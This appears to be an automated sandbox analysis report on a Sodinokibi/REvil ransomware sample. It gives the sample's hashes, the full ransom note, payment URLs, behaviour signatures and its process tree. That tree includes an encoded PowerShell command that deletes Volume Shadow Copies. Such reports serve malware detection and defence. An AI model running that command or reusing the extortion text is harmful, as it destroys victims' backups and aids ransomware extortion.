Analysis

  • max time kernel
    171s
  • max time network
    190s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24/01/2022, 00:46

General

  • Target
    eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe
  • Size 287KB
  • Sample220124-a4tk1sghdp
  • SHA256 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa
  • MD5 SHA1 SHA512

Malware Config

Extracted

Path
  • C:\s0pf4-readme.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion s0pf4. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9A409E7659E5E599 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/9A409E7659E5E599 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: am0xEF2TIBDyz643H3bu3+6sgYRmTUt/dY+5r/s6uwuANEg/MJzK7MooTkOw2mFq 7IBsfNSPExuoQWVsXvY+wKP8CC9k9v/GwiMYYajOQdmQZpiq+WlIWKNis/S8N8oI 2Eij3OrOmjXiGMkAiPY8lIF4BvXTW9G48xXl2m1MDDnAtpTMEmgHGyBQJaDRFwsH wPYCEnVzm4fCNklru+URDw/+W9TRldhfRDvOvQjqHHWhZV+qy+Vc+cyrQ9xOD5Uq /tpxvjjZOhKI4F56O4oZirvqbeBPHdbtLMLJgKa3OtInP+Yx3LXOYtvf+5Py1j4a tAuDhPdA5IaJzG4ym0rftLjLdRTzPz3dqj6PZWmx0ESlFObxG203uqG8UvdCAqGI vadj2iLrmQzbCMsEuCL85xLQrntFHR9xYXfvKL5dhUdUeEjlrgNBpyGP/u7qogFb 007z6fGdbcEgua2sOzPAT6jTedbNFMn5gWQxPHr6sujDXCC41UIOemGPTRpBQOFt B28e4cdEWl97/DAogwe/7slGtMxzBH6terFar3omE3O4cXaPNvKTLkSfez0Mbo3Y YCGpOXM1JCisnEW00+2mQ1ZcD0HfBUlF31em8IO5F5lyL23vhZyOZOMztzFRk33c gxLVDYAkE+HxGJuErZZwIFSwWSslvHrB5ylJjL9nYYfQouRs3J36fmbOTXgoRYyN EE7UKKoJLeWxkfGrXsn6ylCwmK0AHemCn6eqCFOTq3psHof7P7sXuQPyQJTDjnAn noSb3qoClT6cT1zXDhKBIp+u5fy7H5zyuexiwTUNcS6KvOT/wa41P0woOPg6LGXI JWEOwIwL8rUdSA8cS08c9UhqlNg2QXBJvXslT50Fh1znfFP7R9EePktT8ZW91ThG W6Ejoste6S+nNM5tGNbb7qVloSZ9lO+GF/YTUFU2Wxlcrjf/4ul86SOlZ2NEVPbX Dqg0jteLMhwKnOYPJwPsb/3e4zynETocnDw6GhTS87ftwU3CKMAXZIvjmS2MxFuH RavNhpxizKaZ56IRqqDd9gT1B6nZjDEkjsFBd/vjHHmMnEzFX3mo9fsS6QTBgAaS P9sUSy3CmMXhWUhYayZvWbc84zg2hFs0kU6GUGRxFL3V+GpB5rSGrKb24T5n68a5 ClMrdOGivSFon0DIecbkW8l2EmPsJ5QJy5CKG7JNchqasaNwefpGVjabf+addXDt 9y5Bl2LHSlW9KppDfne3tiZm3ix0SL5x1GiRv96/tHh0dZV6FOUuNPxTu2NjglQj 0926enUZI/hEY6JKZyI= Extension name: s0pf4 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9A409E7659E5E599

  • http://decryptor.cc/9A409E7659E5E599

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 36 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe
    "C:\Users\Admin\AppData\Local\Temp\eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1288
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2444
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1552
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2484

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/2444-120-0x00000193B9880000-0x00000193B98A2000-memory.dmp

          memory/2444-126-0x00000193D1BE0000-0x00000193D1C56000-memory.dmp

          memory/2444-133-0x00000193B9AE0000-0x00000193D1CC0000-memory.dmp

          memory/2444-135-0x00000193B9AE0000-0x00000193D1CC0000-memory.dmp

          memory/2444-140-0x00000193B9AE0000-0x00000193D1CC0000-memory.dmp